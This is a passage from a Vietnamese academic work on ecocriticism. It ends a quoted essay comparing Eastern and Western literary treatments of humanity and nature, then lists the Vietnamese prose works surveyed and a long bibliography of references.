thần thoại, truyền thuyết cổ tích các dân tộc trên thế giới, những con người sinh
26
ra từ thiên nhiên ( từ súc vật, hoa, quả, đất, đá, cây cối) thường mang những
phẩm chất kz diệu: chàng Cóc, nàng tiên Ếch, chàng Dê, chàng Bí, Tí Hon, Nai
Ngọc…. Bởi vì họ là kết tinh của tất cả những gì tốt đẹp nhất từ thiên nhiên: hiền
dịu nhất mà cũng dũng mãnh nhất, vô tư hồn nhiên nhất mà cũng thông minh trí
tuệ nhất…
Thiên nhiên là môi trường sống của con người. Nó mang vẻ thân thuộc
trong đời sống sinh hoạt. Đó là bãi cỏ, dòng sông, vườn dâu, cây đa, nụ tầm xuân
trong ca dao Việt Nam. Đó là thảo nguyên mênh mông hiu hắt, cây sồi mùa đông,
đêm trăng huyền diệu, cánh đồng tuyết phủ trong văn học Nga. Đó là những cánh
rừng nguyên thủy với đầm lầy, rắn rết và những đồn điền bông, ca cao trong văn
học Mĩ La tinh. Đó là những dòng sông băng giá, những đỉnh núi tuyết phủ với bầy
hươu nai, tuần lộc trong văn học Bắc Âu. Thiên nhiên ấy đã góp phần khẳng định
đặc thù dân tộc về môi trường sống. Vì vậy, chú ý tới thiên nhiên còn là hướng tới
tình cảm quê hương đất nước, một tình cảm thiêng liêng lâu bền với nguồn mạch
cảm xúc không bao giờ cạn. Tình yêu quê hương mãi mãi là một cách khẳng định
về tồn tại người trong mối dây ràng buộc với tự nhiên.
Nhưng thiên nhiên không chỉ đem lại sự thân thuộc, bình yên mà còn là
hình ảnh của một thế lực hung bạo, khủng khiếp, hùng vĩ và bí ẩn đối với con
người. Sức mạnh ấy hiện hình qua hình ảnh bão táp, biển khơi với những con
sóng khổng lồ, khủng khiếp thử thách chàng Uylixơ, qua con đường vào nước
Thục hiểm trở, gian nguy (Thục đạo nan – Lý Bạch), qua màn đêm đen thẳm huyền
bí của đại dương (Biển đêm – V.Hugo), qua sóng nước Vu Sơn tung cao tận lưng
trời (Thu hứng – Đỗ Phủ) qua “bát ngát sóng kình muôn dặm” (Bạch Đằng giang
phú – Trương Hán Siêu), qua dòng sông Đà hung bạo, gớm ghê, một cạm bẫy đối
27
với con người (Người lái đò sông Đà – Nguyễn Tuân). Nhưng chính đây là nơi thử
thách ý chí, sức mạnh của con người. Đối diện với một thiên nhiên vĩ đại mà
khủng khiếp ấy, con người tồn tại với hai tư thế, vừa rất nhỏ bé song cũng rất lớn
lao trong cuộc chinh phục, tỏ bày sức mạnh của niềm tin, của ý chí, của trí tuệ,
của lòng quả cảm. Có thể nói, cảm hứng khẳng định sức mạnh con người trước
thiên nhiên này là cảm hứng nổi bật trong văn học phương Tây, rất phù hợp với
sự phát triển và khẳng định ý thức cá nhân của con người phương Tây (Robinson
Crusoe – Defoe, Tình yêu cuộc sống – Jack London…).
Có thể lấy hai thí dụ về đoạn kết của hai thiên truyện, Ông già và biển cả
(Hemingway) và Muối của rừng (Nguyễn Huy Thiệp) để minh chứng cho sự khác
biệt phần nào giữa quan niệm phương Đông và phương Tây về hành trình chinh
phục tự nhiên. Trong cuộc chiến đấu không cân sức giữa con người bé nhỏ và
thiên nhiên lớn lao, con người phương Tây vẫn luôn khẳng định sức mạnh chinh
phục và tỏ bày những khát vọng cao của cả mình. Dù thất bại thảm hại, nhưng
ông già Santiago vẫn nằm mơ thấy những con sư tử biển, vừa tỉnh dậy đã bàn tới
việc rèn mũi lao để tiếp tục ra khơi. Ông già là biểu tượng hùng vĩ của con người
trên con đường chinh phục thế giới, thực hiện khát vọng lớn lao của mình một
cách ngoan cường. Còn trong Muối của rừng, ông Diểu cũng thất bại và thua cuộc
trong việc đi săn con khỉ, nhưng vì thất bại mà ông lại nhìn thấy hoa tử huyền nở,
một loài hoa báo hiệu mùa màng phong túc, ba mươi năm mới nở một lần. Chấp
nhận thất bại nhưng sự yên tĩnh, bình an lại đến với tâm hồn con người. Hai cách
nhìn, hai cách nghĩ khác nhau.
Quả là trong mối quan hệ với thiên nhiên, ý thức Phương Đông và phương
Tây có sự gặp gỡ và khác biệt.
28
( Trích trong bài Đoạn trích “Đương đầu với bầy cá dữ” với cảm hứng con
người và thiên nhiên trong văn học, in trong Hemingway, những phương trời nghệ
thuật. Nhiều tác giả. Nxb Giáo dục, Hà Nội, 2001)
NHỮNG TÁC PHẨM KHẢO SÁT CƠ BẢN
1. Tạ Duy Anh (2002), Ngày hội cuối cùng, NXB Kim Đồng, Hà Nội.
2. Tạ Duy Anh (2008), Ngẫu hứng sáng trưa chiều tối, NXB Hội nhà văn, Hà Nội.
3. Hà Thị Cẩm Anh (2013), Một nửa của người đàn bà, NXB Văn hóa dân tộc, Hà Nội.
4. Mạc Can (2010), Tuyển tập Mạc Can, NXB Thanh niên, Hà Nội.
5. Nguyễn Minh Châu (2001), Nguyễn Minh Châu toàn tập, 5 tập, NXB Văn học, Hà Nội.
6. Đỗ Chu (2002), Một loài chim trên sóng, Tác phẩm đạt giải thưởng Hồ Chí Minh, NXB Văn học, Hà Nội.
7. Trần Trung Chính (2006), Cư trú (Tập Truyện), NXB Hội Nhà văn, Hà Nội.
8. Minh Chuyên (1997), Di họa chiến tranh, NXB Văn học, Hà Nội.
9. Nguyễn Dậu, Con thú bị ruồng bỏ, http://www.vnmilitaryhistory.net
10. Võ Thị Xuân Hà, Lúa hát, http://tonvinhvanhoadoc.vn
11. Triệu Hoàng Giang (2015), “Nghiệp rừng”, Báo Văn nghệ, số 14.
12. Trần Thanh Hà (1997), Ơi đò ca cút, NXB Trẻ, Tp Hồ Chí Minh.
13. Võ Thị Hảo (1995), Người sót lại của rừng cười, NXB Phụ Nữ, Hà Nội.
29
14. Ngân Hoa, Quế Hương, Đỗ Bích Thuý (2007), Truyện ngắn ba cây bút nữ, NXB Phụ Nữ, Hà Nội.
15. Nguyễn Hồ, Chim phóng sinh , http://isach.info
16. Nguyễn Thị Thu Huệ, (2010), 37 truyện ngắn Nguyễn Thị Thu Huệ, NXB Văn học, Hà Nội.
17. Dương Hướng (2000), Bến không chồng, NXB Hội Nhà văn, Hà Nội.
18. Duy Khán (1987), Tuổi thơ im lặng, NXB Tác phẩm mới, Hà Nội.
19. Ma Văn Kháng (2001), Mùa lá rụng trong vườn, NXB. Hội Nhà Văn, Hà Nội.
20. Ma Văn Kháng (2006), Chó Bi, đời lưu lạc, NXB Kim Đồng, Hà Nội
21. Nguyễn Xuân Khánh (2006), Mẫu Thượng Ngàn, NXB Phụ Nữ, Hà Nội.
22. Nguyễn Xuân Khánh (2011), Đội gạo lên chùa, NXB Phụ Nữ, Hà Nội.
23. Đoàn Lê (2011), Tác phẩm chọn lọc, NXB Phụ nữ, Hà Nội.
24. Sương Nguyệt Minh (2009), Truyện ngắn Sương Nguyệt Minh, Vũ Nguyệt Minh, NXB Công an nhân dân, Hà
Nội.
25. Sương Nguyệt Minh, (2011), Dị hương, tập truyện ngắn, NXB Hội Nhà văn, Hà Nội
26. Sương Nguyệt Minh, (2011), Đêm thánh vô cùng, NXB Hội Nhà văn, Hà Nội.
27. Sương Nguyệt Minh (2007), Chợ tình, NXB Hội Nhà văn, Hà Nội.
28. Dạ Ngân (1995), Truyện ngắn chọn lọc, NXB Văn học, Hà Nội.
29. Đặng Nhật Minh (2006), Ngôi nhà xưa, NXB Trẻ, Tp Hồ Chí Minh.
30. Đỗ Nhật Minh (2009), Quán trần gian, NXB Hội Nhà văn, Hà Nội.
31. Dương Duy Ngữ (2005), Tầm lan, NXB Quân đội nhân dân, Hà Nội.
32. Phạm Duy Nghĩa (2006), Cơn mưa hoa mận trắng : Tuyển tập truyện ngắn hay và mới nhất, NXB Thanh niên,
Hà Nội.
33. Nhiều tác giả (1994), Bốn mươi truyện rất ngắn, NXB Hội Nhà văn, Hà Nội.
34. Nhiều tác giả (2005), Truyện ngắn hay Tuổi trẻ chủ nhật, NXB Trẻ, Tp Hồ Chí Minh.
35. Nhiều tác giả (2007), Truyện ngắn được giải báo Văn nghệ 1995 – 2004, NXB Thanh Niên, Hà Nội .
36. Nhiều tác giả (2007) Buổi sáng biến mất (tuyển truyện ngắn hay và đoạt giải báo Văn nghệ 2006 – 2007), NXB
Hội Nhà Văn, Hà Nội.
37. Nhiều tác giả (2000), Truyện ngắn đặc sắc 2010, Nguyễn Thái Anh tuyển chọn, NXB Thời đại, Hà Nội.
38. Nhiều tác giả (2010), Văn Mới 5 năm 2006 – 2010, Hồ Anh Thái tuyển, NXb Hội nhà văn, Hà Nội.
39. Nhiều tác giả (2013), Văn mới 2012 – 2013, Hồ Anh Thái tuyển chọn, NXB Thời đại, Hà Nội.
40. Bảo Ninh (1991), Nỗi buồn chiến tranh, NXB Hội Nhà văn, Hà Nội.
41. Bùi Ngọc Tấn (2010), Biển và chim bói cá, NXB Trẻ, Tp Hồ Chí Minh.
42. Nguyễn Trí (2013), Bãi vàng đá qu{ trầm hương, NXB Văn học, Hà Nội.
43. Nguyễn Trí (2013), Đồ tể, NXB Văn học, Hà Nội.
44. Lê Văn Thảo (2006), Con đường xuyên rừng, NXB Hội Nhà văn, Hà Nội.
45. Huznh Thạnh Thảo (2003), “Quán “Mèo rừng”, 20 truyện ngắn tâm đắc nhất của 20 cây bút trẻ, Nguyễn Thanh
Bình tuyển chọn và giới thiệu, NXB Thanh niên, Tp Hồ Chí Minh [321 – 339].
46. Đào Thắng (2004), Dòng sông Mía, NXB Hội Nhà văn, Hà Nội.
47. Nguyễn Ngọc Thuần (2005), Cha và con và… tàu bay, NXB Hội nhà văn, Hà Nội.
48. Nguyễn Ngọc Thuần (2011), Vừa nhắm mắt vừa mở cửa sổ, NXB Trẻ, Tp Hồ Chí Minh.
49. Đỗ Bích Thúy (2005), Tiếng đàn môi sau bờ rào đá, Tập truyện ngắn, NXB Công an nhân dân, Hà Nội.
30
50. Đỗ Bích Thúy (2014), Bóng của cây sồi, NXB Tổng hợp, Tp Hồ Chí Minh.
51. Nguyễn Xuân Thủy (2014), Nhắm mắt nhìn trời, NXB Trẻ, Tp Hồ Chí Minh
52. Nguyễn Huy Thiệp (1995), Như những ngọn gió, Anh Trúc tuyển chọn, NXB Văn học, Hà Nội.
53. Nguyễn Huy Thiệp (1995), Truyện ngắn chọn lọc, NXB Hội Nhà văn, Hà Nội.
54. Nguyễn Quang Thiều (2011), Tác phẩm chọn lọc (Tuyển tập truyện ngắn), NXB Phụ Nữ, Hà Nội.
55. Nguyễn Quang Thiều (2004), Kẻ ám sát cánh đồng, NXB Hội Nhà văn, Hà Nội.
56. Quý Thể (2009), Tuyển tập truyện ngắn (Tác giả tự chọn), NXB Văn nghệ, Tp Hồ Chí Minh.
57. Quý Thể, Vũ Đình Giang (2014), Nết đất, NXB Trẻ, Tp Hồ Chí Minh.
58. Đỗ Minh Tuấn (2010), Thần thánh và bươm bướm, NXB Văn học.
59. Nguyễn Ngọc Tư (2009), Gió lẻ và 9 câu chuyện khác, Nxb Trẻ, Tp Hồ Chí Minh.
60. Nguyễn Ngọc Tư (2010), Khói trời lộng lẫy, Nxb Trẻ, Tp Hồ Chí Minh.
61. Nguyễn Ngọc Tư (2010), Cánh đồng bất tận, Nxb Trẻ, Tp Hồ Chí Minh.
62. Nguyễn Ngọc Tư (2010), Sông, Nxb Trẻ, Tp Hồ Chí Minh.
63. Hoàng Minh Tường (2013), Ngôi nhà ma, Tập truyện ngắn, NXB Văn học, Hà Nội.
64. Hoàng Minh Tường (2013), Ngọc đất, NXB Thời đại, Hà Nội.
65. Hoàng Minh Tường (2013), Gia phả của đất, NXB Phụ nữ, Hà Nội.
66. Nguyễn Khắc Phê (2006), Thập giá giữa rừng sâu, NXB Trẻ, Tp Hồ Chí Minh.
67. Đỗ Phấn (2011), Rừng người, NXB Phụ nữ, Hà Nội.
68. Trần Duy Phiên (1990), “Kiến và người”, Tạp chí Đất Quảng, Số 65 [13 – 23]
69. Trần Duy Phiên (1992), “Mối và người”, Tạp chí Cửa Việt, Số 13 [27 – 39]
70. Trần Duy Phiên (1996), Trăm năm còn lại, NXB Trẻ, Tp Hồ Chí Minh.
71. Nguyễn Bình Phương (2014), Thoạt kì thủy, NXB Trẻ, Tp Hồ Chí Minh.
72. Cao Duy Sơn (2008), Ngôi nhà xưa bên suối, NXB Thanh Niên, Hà Nội.
73. Thiên Sơn (2007), Dòng sông chết, NXB Công an nhân dân, Hà Nội.
74. Nguyễn Thiều Quang (2013), Săn cá thần, Công ty Văn hoá và Truyền thông Nhã Nam và NXB Thời đại, Hà Nội.
TÀI LIỆU THAM KHẢO
Tiếng Việt
1. Hà Anh (2012), Người nghèo, nông dân – đề tài không cũ của văn học và báo chí , vanhocquenha.vn.
2. Adams D. R. (2010), “Cá nhân và môi trường: Giảng dạy nhận thức về môi trường trong lớp học khoa học nhân
văn”, Hội thảo quốc tế: Nhận thức về nhu cầu bảo vệ môi trường: vai trò của giáo dục đại học, Đại học Hoa Sen,
Tp Hồ Chí Minh và Đại học An Giang, Tp Long Xuyên, Việt Nam, tr182 – 185.
3. Aitmatov C. (1989), Vĩnh biệt Gunxarư, Phạm Mạnh Hùng dịch, NXB Văn học.
4. Aitmatov C. (2000), Đoạn đầu đài, Lê Khánh Trường, Phi Hùng dịch, NXB Văn nghệ Tp Hồ Chí Minh.
31
5. Trần Thúy Anh (2011), Ứng xử cổ truyền với tự nhiên và xã hội của người Việt châu thổ Bắc Bộ qua ca dao, tục
ngữ (chuyên khảo), Hội văn nghệ dân gian Việt Nam và NXB Lao Động, Hà Nội.
6. Phạm Tuấn Anh (2009), Sự đa dạng thẩm mĩ trong văn xuôi Việt Nam sau năm 1975, Luận án tiến sĩ, Đại học Sư
phạm Hà Nội.
7. Lại Nguyên Ân (2009), Mênh mông chật chội…(Tiểu luận – Phê bình văn học), NXB Tri thức, Hà Nội.
8. Trần Lê Bảo chủ biên (2005), Văn hóa sinh thái – nhân văn, NXB Đại học Sư phạm, Hà Nội.
9. Trần Lê Bảo (2011), Giải mã văn học từ mã văn hóa, NXB Đại học Quốc gia Hà Nội.
10. Nguyễn Thị Bình (1996), Những đổi mới văn xuôi nghệ thuật Việt nam sau 1975 khảo sát trên nét lớn, Luận án tiến
sĩ, Đại học Sư phạm, Hà Nội.
11. Nguyễn Thị Bình (2012), Văn xuôi Việt Nam sau năm 1975, NXB Đại học Sư phạm, Hà Nội.
12. Eveno Claude (2013), Ngắm cảnh, Đoàn Thị Thảo dịch, NXB Tri Thức, Hà Nội.
13. Calvino I. (2009), Nam tước trên cây, Vũ Ngọc Thăng dịch, NXB Văn học, Hà Nội.
14. Lê Nguyên Cẩn (2000), “Cách nhìn nhận thế giới tự nhiên của Lão Tử và J.J. Rousseau”, Đạo gia và văn hóa, NXB
Văn hóa Thông tin, Hà Nội, tr 199- 213.
15. Lê Nguyên Cẩn (2014), Tiếp cận văn học từ góc nhìn văn hóa, NXB Đại học Quốc gia Hà Nội.
16. Thu Giang Nguyễn Duy Cần (2013), Lão tửtinh hoa, NXB Trẻ, Tp HồChí Minh.
17. Thu Giang Nguyễn Duy Cần (2013), Trang tửtinh hoa, NXB Trẻ, Tp Hồ Chí Minh.
18. Nguyễn Minh Châu (2002), Trang giấy trước đèn, phê bình tiểu luận, Tôn Phương Lan sưu tầm, tuyển chọn và giới
thiệu, NXB Khoa học Xã hội, Hà Nội.
19. Nhật Chiêu (2003), Nhật Bản trong chiếc gương soi, NXB Giáo dục, Hà Nội.
20. Nhật Chiêu (2007), Văn học Nhật Bản từ khởi thủy đến 1868, NXB Giáo dục, Hà Nội.
21. Daudet A. (2011), Những vì sao – Chuyện chàng chăn cừu xứ Prôvăngxơ, NXB Hội Nhà văn, Hà Nội.
22. Darwin C. (2011), Nguồn gốc các loài – Qua con đường chọn lọc tự nhiên hay sự bảo tồn những chủng ưu thế trong
đấu tranh sinh tồn, Trần Bá Tín dịch, NXB Tri thức, Hà Nội.
23. Durant W. (2012), Lịch sử văn minh Trung Hoa, Nguyễn Hiến Lê dịch, Nxb Văn hóa Thông tin, Hà Nội.
24. Trần Quốc Dũng (2014), “Thơ đề vịnh thiên nhiên trong Hồng Đức quốc âm thi tập”, Tạp chí Khoa học, Đại học Sư phạm
thành phốHồ Chí Minh, số 55, tr 21- 27.
25. Nguyễn Đăng Điệp (2014), “Thơ mới từ góc nhìn sinh thái học văn hóa”, Thơ Việt Nam hiện đại tiến trình và hiện
tượng, NXB Văn học, Hà Nội, tr 31- 46.
26. Biện Minh Điền (2008), Phong cách nghệ thuật Nguyễn Khuyến, NXB Đại học Quốc gia Hà Nội.
27. Trần Thái Đỉnh (1967), Triết học hiện sinh, NXB Văn học, Hà Nội.
28. Anh Đức, Giấc mơ ông lão vườn chim, http://www.vnthuquan.net
29. Vũ Minh Đức (2014), Những ngọn gió Hua Tát của Nguyễn Huy Thiệp nhìn từ lí thuyết phê bình sinh thái,
nguvan.utb.edu.vn.
30. Fontenay E. (2013), Khi con vật nhìn ta, Hoàng Thanh Thủy dịch NXB Tri Thức, Hà Nội.
31. Fukuoka M. (2015), Cuộc cách mạng một cọng rơm, Shopxanh dịch, NXB Tổng hợp Hồ Chí Minh.
32. Lê Hồng Giang (2009), “Về vấn đề con người và xã hội trong triết học Lão Tử”, Tạp chí Phát triển Nghiên cứu và khoa
học, Đại học Quốc gia Hồ Chía Minh, tập 12, số 1, tr 39- 46.
33. Đặng Thị Thái Hà (2014), Cái tự nhiên từ điểm nhìn phê bình sinh thái (Qua tác phẩm của Nguyễn Huy Thiệp,
Nguyễn Minh Châu, Nguyễn Ngọc Tư), Luận văn thạc sĩ, Đại học Sư phạm Hà Nội.
32
34. Đào Thị Thu Hằng (2007), Văn hóa Nhật bản và Yasunari Kawabata, NXB Giáo dục, Tp Hồ Chí Minh.
35. Lê Từ Hiển (2012), Nguyễn Khuyến và Đào Tiềm – Gặp gỡ và ảnh hưởng, Tạp chí Nghiên cứu văn học, số 3, tr 102-
116.
36. Đỗ Văn Hiểu (2012), “Phê bình sinh thái – khuynh hướng nghiên cứu văn học mang tính cách tân”, Tạp chí Phát
triển Nghiên cứu và khoa học, Đại học Quốc gia Hồ Chí Minh, số15 (X2), tr 48 – 54.
37. Trần Ngọc Hiếu (2014), “Chủ nghĩa lãng mạn trong văn học Việt Nam từ giới hạn của những cách tiếp cận đến đề
nghị về những cách đọc khác”, Tạp chí Nghiên cứu Văn học, số , tr 14 – 26.
38. Nguyễn Trọng Hoàn giới thiệu và tuyển chọn (2004), Nguyễn Minh Châu về tác gia và tác phẩm, Nxb Giáo dục, Hà
Nội.
39. Phạm Minh Hoa và Lưu Cương Kỉ (2002), Chu Dịch và mĩ học, Nhà xuất bản Văn hóa – Thông tin, Hà Nội.
40. Đỗ Thị Hòa (2010), Thế giới động vật trong ca dao cổ truyền Người Việt, Luận án tiến sĩ, Đại học Sư phạm Hà Nội.
41. Huygô V., Tựa Crômoen, Hoàng Nhân dịch, Tài liệu văn học Phương Tây, khoa Ngữ Văn, Trường Đại học Sư Phạm.
42. Nguyễn Xuân Hương (2013), “Triết lí nhân sinh của Hồ Chí Minh về môi trường”, Tạp chí Khoa học và công nghệ,
Đại học Duy Tân, Số 4, tr 60 – 66.
43. Trần Trung Hỷ (2007), Thơ sơn thủy cổ trung đại Trung Quốc, NXB Giáo dục, Hà Nội.
44. Ikeda D. và Peccei A. (1993), Tiếng chuông cảnh tỉnh cho thế kỉ XXI, Trương Chính, Đông Hà dịch, NXB Chính trị
quốc gia, Hà Nội.
45. Nguyễn Văn Kha (2006), Đổi mới quan niệm về con người trong truyện Việt Nam 1975 – 2000, NXB Đại học Quốc
gia Tp Hồ Chí Minh.
46. Đinh Thị Khang (2011), “Truyện Trinh thử và những yếu tố của văn học dân gian”, Tạp chí Nghiên cứu Văn học, số
9 tr 107 – 118.
47. Lê Nhật Kí (2009), “Đặc điểm truyện đồng thoại Võ Quảng”, Tạp chí Nghiên cứu Văn học,số 3 tr 113 – 118.
48. Nguyễn Xuân Kính (1992), Thi pháp ca dao,Nxb Khoa học xã hội, Hà Nội.
49. Nguyễn Xuân Kính (2003), Con người, môi trường và văn hoá, NXB Khoa học xã hội, Hà Nội.
50. Tôn Phương Lan (1999), Phong cách nghệ thuật Nguyễn Minh Châu, Nxb Khoa học xã hội.
51. Trịnh Thị Bích Liên (2008), Phóng sự Việt nam trong môi trường sinh thái văn hóa thời kì đổi mới, Luận án tiến sĩ
Ngữ văn, Đại học Sư phạm Hà Nội.
52. Jack London (2011), Truyện ngắn đặc sắc, NXB Hội Nhà văn, Hà Nội.
53. Phương Lựu (2001), Lí luận văn học phê bình văn học phương Tây thế kỉ XX, NXB Văn học, Hà Nội.
54. Phương Lựu (2013), “Người mở đầu cho thi học Thiền gia”, Tạp chí Nghiên cứu văn học, số 2, tr 3- 11.
55. Viên Mai (1999), Tuz Viên thi thoại, Nguyễn Đức Vân dịch, Nxb Giáo dục, Hà Nội.
56. Đặng Thai Mai (1970), “Tình cảnh thiên nhiên trong tập thơ “Ngục trung nhật kí”, Tạp chí Văn học, số 5, tr 2-
15.
57. Vũ Quang Mạnh chủ biên (2011), Môi trường và con người – Sinh thái học nhân văn, NXB Đại học Sư phạm,
Hà Nội.
58. K. Mark, F. Engels (1994), Toàn tập, Tập 20, NXB Chính trịQuốc gia, Hà Nội.
59. Desmond Morris (2010), Vượn trần trụi, Vương Ngân Hà dịch, NXB Hội Nhà văn, Hà Nội.
60. Desmond Morris (2011), Vườn thú người, Vương Ngân Hà dịch, NXB Công ty Văn hóa và Truyền thông Nhã Nam,
NXB Dân Trí, Hà Nội.
61. Lê Trà My (2009), Tản văn Việt Nam thế kỉ XX (từ cái nhìn thể loại), Luận án tiến sĩ, Đại học Sư phạm Hà
33
Nội.
62. Nguyễn Đăng Na chủ biên (2010), Văn học trung đại Việt Nam, Tập 1, NXB Đại học Sư phạm Hà Nội.
63. Nguyễn Đăng Na chủ biên (2010), Văn học trung đại Việt Nam, Tập 2, NXB Đại học Sư phạm Hà Nội.
64. Nguyễn Thị Nga (2009), “Biểu tượng thiên nhiên trong thơ nữ thời kì chống Mĩ”, Tạp chí Nghiên cứu văn
học, số 7, tr 74- 84.
65. Phạm Duy Nghĩa (2012), Văn xuôi Việt Nam hiện đại về đề tài dân tộc và miền núi, NXB Văn hóa dân tộc.
66. Phan Ngọc (1985), Tìm hiểu phong cách Nguyễn Du trong truyện Kiều, NXB Khoa học xã hội, Hà Nội.
67. Nguyên Ngọc (2006), Nghĩ dọc đường, NXB Văn nghệ, Tp Hồ Chí Minh.
68. Nguyên Ngọc (2008), Bằng đôi chân trần, NXB Văn nghệ, Tp Hồ Chí Minh.
69. Lã Nguyên (2014), “Nguyễn Huy Thiệp và bước ngoặt văn học Việt Nam sau 1986”, Tham luận tại Hội thảo
khoa học Phát triển văn học Việt Nam trong bối cảnh đổi mới và hội nhập quốc tế, Viện Văn học.
70. Phạm Xuân Nguyên sưu tầm và biên soạn (2001), Đi tìm Nguyễn Huy Thiệp, NXB Văn hóa thông tin, Hà
Nội.
71. Thao Nguyễn tuyển chọn (2013), Nguyễn Minh Châu một giọng văn nhiều trắc ẩn, NXB Văn hóa Thông tin,
Hà Nội.
72. Nhiều tác giả (1996), 50 năm văn học Việt Nam sau Cách mạng tháng Tám, NXB Đại học Quốc gia Hà Nội.
73. Nhiều tác giả (1998), Văn học phương Tây, NXB Giáo dục, Hà Nội.
74. Nhiều tác giả, Phê bình sinh thái – cội nguồn và sự phát triển (Đỗ Văn Hiểu dịch từ tiếng Trung: Tuyển tập
văn luận văn học sinh thái Trung Quốc và thế giới), http://tapchinhavan.vn/news
75. Nhiều tác giả (2010), Đạo phật và môi trường, Thích Nhuận Đạt dịch, NXB Tổng hợp thành phố Hồ Chí
Minh.
76. Khương Nhung (2007), Tô tem sói, Trần Đình Hiến dịch, NXB Công an nhân dân, Tp Hồ Chí Minh.
77. Lê Lưu Oanh (1995), Thơ trữ tình Việt Nam 1975 – 1990, NXB Đại học Quốc Gia Hà Nội.
78. Lê Lưu Oanh – Đinh Thị Doanh (2010), Tư duy đồng thoại trong thơ hiện nay, http://nguvan.hnue.edu.vn
79. Lê Lưu Oanh (2001), “Đoạn trích “Đương đầu với bầy cá dữ” với cảm hứng con người và thiên nhiên trong
văn học”, Hemingway những phương trời nghệ thuật, Lê Huy Bắc tuyển chọn, NXB Giáo dục, tr199- 206.
80. Oliver G. (1997), Sinh thái học nhân văn, Huy Yên, Võ Bình, Đỗ Ngọc Hải dịch, NXB Thế giới, Hà Nội.
81. Phedorenko N.T. (2005), “Kawabata – con mắt nhìn thấu cái đẹp”, Tuyển tập tác phẩm Yasunabi Kawabata, NXB
Lao động, Trung tâm văn hóa ngôn ngữ Đông Tây, Hà Nội, tr 1025- 1027.
82. Huznh Như Phương (2013), Mùa xuân, sinh thái và văn chương, http://khoavanhoc-ngonngu.edu.vn
83. Rigby K. (2014), Chapter 7: “Ecocritisim”, Introducing Criticism at the Twenty -First Century, Edinburgh UP, Đặng Thị Thái
Hà dịch, Phụ lục luận văn Cái tự nhiên từ điểm nhìn phê bình sinh thái (Qua tác phẩm của Nguyễn Huy Thiệp, Nguyễn
Minh Châu, Nguyễn Ngọc Tư), Luận văn thạc sĩ, Đại học Sư phạm Hà Nội.
84. Rousseau J. J. (2010), Emili hay là về giáo dục, , Lê Hồng Sâm, Trần Quốc Dương dịch, NXB Tri thức, Hà Nội.
85. Nguyễn Kim Sơn (2003), “Góp bàn về lí tưởng thẩm mĩ của Đạo gia”, Tạp chí Văn học,số 2, tr 65 – 69.
86. Nguyễn Kim Sơn (2012), “Sự nhất thể của Thiền lạc và thi hứng hay tiếng hoan hỉ của tâm không – Luận về ba bài
thơ cảnh chiều tà của Trần Nhân Tông”, Tạp chí Nghiên cứu văn học, số 5, tr 76- 83.
87. Nguyễn Hữu Sơn, Trần Đình Sử, Huyền Giang, Trần Ngọc Vương, Trần NHo Thìn, Đoàn Thị Thu Vân, Về con người
cá nhân trong văn học cổ Việt Nam, NXB Giáo dục Việt Nam, Hà Nội.
88. Trần Đình Sử (1999), Mấy vấn đề thi pháp văn học trung đại Việt Nam, NXB Giáo dục, Hà Nội.
89. Trần Đình Sử (2009), Thi pháp Nguyễn Du trong Truyện Kiều, NXB Giáo dục.
34
90. Trần Đình Sử, Chuyển hướng nghiên cứu văn hóa trong nghiên cứu văn học, www. vanhoahoc.vn
91. Trần Đình Sử(2015), Phê bình sinh thái tinh thần, http://trandinhsu.wordpress.com
92. Trần Nho Thìn (2007), Văn học trung đại Việt Nam dưới góc nhìn văn hóa, NXB Giáo dục, Hà Nội.
93. Khâu Chấn Thanh (2001), Lí luận văn học cổ điển Trung Quốc (100 điều), Mai Xuân Hải dịch, NXB Văn học, Hà Nội.
94. Trần Thị Thanh, Hà Trần Thùy Dương, “Đời và đạo trong thơ Trần Nhân Tông”, Tạp chí Nghiên cứu văn học, số 4, tr
104- 114.
95. Thornber K. (2011), Ecocriticism, Tài liệu thuyết trình tại Viện Văn học.
96. Thornber K. (2014), Những tương lai của phê bình sinh thái và văn học (Hải Ngọc dịch),
http://hieutn1979.wordpress.com
97. Nguyễn Thị Tịnh Thy (2013), Tô tem sói của Khương Nhung từ lý thuyết sinh thái, Báo cáo khoa học, Đại học Sư
phạm Huế.
98. Nguyễn Thị Tịnh Thy (2013) “Phê bình sinh thái – nhìn từ lí thuyết giải cấu trúc”, Văn học hậu hiện đại – lí thuyết và
thực tiễn, Lê Huy Bắc chủ biên, NXB Đại học Sư phạm, Hà Nội, tr 25 – 31.
99. Nguyễn Thị Tịnh Thy (2014), Sáng tác và phê bình sinh thái – tiềm năng cần khai thác của văn học Việt Nam , Hội
thảo khoa học Phát triển văn học Việt Nam trong bối cảnh đổi mới và hội nhập quốc tế, Viện Văn học.
100. Nguyễn Thị Tịnh Thy (2015) “Tư tưởng sinh thái trong truyện ngắn của Trần Duy Phiên”, Tạp chí Sông Hương,
Số 317, tháng 07, tr .
101. Nguyễn Thị Tịnh Thy (2015), “Trăm năm còn lại của Trần Duy Phiên – Nhìn từ lí thuyết phê bình sinh thái”,
Tạp chí Nghiên cứu văn học, số 11, tr 62 – 74
102. Đặng Hữu Toàn (2007), Mối quan hệ con người – tự nhiên trong triết học Mác,
http://www.truongcb.hochiminhcity.gov.vn/web/data/news/2007/7/671/DangHuuToan.doc
103. Bùi Minh Toán (2011), Trường từ vựng cỏ cây và các tín hiệu thẩm mỹ được tạo nên trong Truyện Kiều,
http://nguvan.hnue.edu.vn
104. Nguyễn Thị Nguyệt Trinh (2012), “Vương Duy và Yosa Buson – “thi trung hữu họa”, Tạp chí Khoa học, Đại học Sư
phạm thành phố Hồ Chí Minh, 38 (72), tr 150- 158.
105. Lê Dục Tú, Đề tài nông thôn trong truyện ngắn Việt Nam thời kì đổi mới, http://vannghequandoi.com.vn
106. Nguyễn Thanh Tùng (2011), “Nguyễn Du với tư tưởng Đạo gia (Qua thơ chữ Hán)”, Tạp chí Nghiên cứu văn học, số
9, tr 130- 142.
107. Hoàng PhủNgọc Tường (1996), Tựa Trăm năm còn lại,NXB Trẻ, Tp Hồ Chí Minh.
108. Đoàn Thị Thu Vân (1993), “Quan niệm về con người trong thơ Thiền Lí Trần”, Tạp chí Văn học, (3), tr 12 .
109. Đoàn Thị Thu Vân chủ biên (2008), Văn học trung đại Việt Nam (Thế kỉ X – cuối thế kỉ XIX), NXB Giáo Dục, Hà Nội.
110. “Văn học phải làm cho con người tin nhau hơn” (Đối thoại đầu năm giữa Oe Kenzaboko với Mạc Ngôn), Báo Văn
nghệ, Số 12 (23/03/2002).
111. Vernier J. (2002), Môi trường sinh thái, Trương Thị Chí, Trần Chí Đạo dịch, NXB Thế giới, Hà Nội.
